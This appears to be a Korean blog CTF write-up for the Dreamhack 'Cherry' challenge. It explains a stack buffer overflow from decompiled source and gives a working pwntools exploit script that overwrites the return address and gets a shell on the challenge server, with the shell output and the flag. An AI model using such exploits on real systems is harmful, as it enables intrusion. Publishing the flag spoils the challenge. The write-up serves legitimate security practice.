콘텐츠로 건너뛰기

Cherry

Description

주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag.txt 파일에 있습니다.

플래그의 형식은 DH{…} 입니다.

checksec

iotfragile@iotfragile:~/CTF/Cherry$ checksec --file ./chall
[*] '/home/iotfragile/CTF/Cherry/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

chall (Decompiled-src)

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[6]; // [rsp+18h] [rbp-18h] BYREF
  int v5; // [rsp+1Eh] [rbp-12h] BYREF
  __int16 v6; // [rsp+22h] [rbp-Eh]
  int v7; // [rsp+24h] [rbp-Ch]
  int fd; // [rsp+28h] [rbp-8h]
  int v9; // [rsp+2Ch] [rbp-4h]

  v9 = 0;
  fd = 1;
  v5 = 0x72656863;
  v6 = 0x7972;
  v7 = 0x10;
  initialize(argc, argv, envp);
  write(1, "Menu: ", 6uLL);
  read(0, buf, 0x10uLL);
  if ( !strncmp(buf, "cherry", 6uLL) )
  {
    write(fd, "Is it cherry?: ", 0xFuLL);
    read(v9, &v5, v7);
  }
  return 0;
}

Stack

=========================
RET
=========================
RBP
=========================
stdin (=0) [4bytes] <- rbp – 0x4
=========================
stdout (=1) [4bytes] <- rbp – 0x8
=========================
buf_size (=v7) [4bytes] <- rbp-0xc
=========================
v6 [2bytes] <- rbp – 0xe
=========================
fruit(=v5) [4bytes] <- rbp-0x12
=========================
buf[6] [6bytes] <- rbp-0x18
=========================

Solution

  1. buf를 read로 입력받는데 지정된 6바이트 크기보다 더 큰 “16”바이트를 입력받을 수 있다. (버퍼 오버플로우 발생)
    따라서 buf_size인 v7까지 덮어쓸 수 있기 때문에 두번쨰 실행될 read 함수에서도 크기에 상관없이 입력받을 수 있다.
  2. RET까지 침범시켜 RET 주소를 flag 주소인 0x4012BC로 덮어씌워서 쉘을 획득하면 된다.
from pwn import *
context.log_level = 'debug'
context(arch='amd64',os='linux')
warnings.filterwarnings('ignore')

p = remote('host3.dreamhack.games', 23200)

p.recvuntil("Menu: ")

payload = b"cherry" + b"A"*10
p.send(payload)

p.recvuntil("Is it cherry?: ")
payload = b"A"*(0x12+8) + p64(0x4012BC)
p.send(payload)

p.interactive()

Result

PS C:\Users\Seo Hyun-gyu\Downloads\678c0f29-2cf8-41d8-8d66-a2c17d4c3f9a (1)> python3 solve.py
[x] Opening connection to host3.dreamhack.games on port 23200
[x] Opening connection to host3.dreamhack.games on port 23200: Trying 23.81.42.210
[+] Opening connection to host3.dreamhack.games on port 23200: Done
[*] Switching to interactive mode
ls
chall
flag 
cat flag
DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}

FLAG

DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}

태그:

답글 남기기